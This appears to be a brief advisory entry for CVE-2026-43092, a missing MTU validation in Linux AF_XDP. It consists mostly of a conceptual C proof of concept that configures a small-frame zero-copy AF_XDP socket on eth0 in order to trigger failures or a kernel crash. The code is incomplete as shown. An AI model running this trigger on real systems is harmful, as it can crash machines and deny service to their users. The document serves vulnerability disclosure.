CVE-2026-43092 Linux内核AF_XDP MTU验证缺失漏洞

#include <linux/if_xdp.h> #include <bpf/xsk.h> // PoC Concept: Demonstrating the configuration that triggers the vulnerability // This requires a system with an AF_XDP compatible driver and vulnerable kernel. int main() { struct xsk_socket_config xsk_cfg; struct xsk_umem_config umem_cfg; struct xsk_socket *xsk; struct xsk_umem *umem; void *bufs; // 1. Setup UMEM with a small chunk size (e.g., 2048 bytes) umem_cfg.fill_size = XSK_RING_PROD__DEFAULT_NUM_DESCS; umem_cfg.comp_size = XSK_RING_CONS__DEFAULT_NUM_DESCS; umem_cfg.frame_size = 2048; // 2k chunk size umem_cfg.frame_headroom = 0; umem_cfg.flags = 0; // Allocate memory for UMEM (simplified) posix_memalign(&bufs, getpagesize(), NUM_FRAMES * 2048); // 2. Create UMEM xsk_umem__create(&umem, bufs, NUM_FRAMES * 2048, NULL, NULL, &umem_cfg); // 3. Configure Socket xsk_cfg.rx_size = XSK_RING_CONS__DEFAULT_NUM_DESCS; xsk_cfg.tx_size = XSK_RING_PROD__DEFAULT_NUM_DESCS; xsk_cfg.libxdp_flags = 0; xsk_cfg.xdp_flags = 0; xsk_cfg.bind_flags = XDP_ZEROCOPY; // Zero-copy mode is required // 4. Attempt to bind to an interface with standard MTU (e.g., 1500) // On a vulnerable kernel, this bind might succeed but fail during operation // or crash because 2048 - (headroom + tailroom + metadata) < 1500. int if_index = if_nametoindex("eth0"); xsk_socket__create(&xsk, "eth0", if_index, umem, NULL, NULL, &xsk_cfg); return 0; }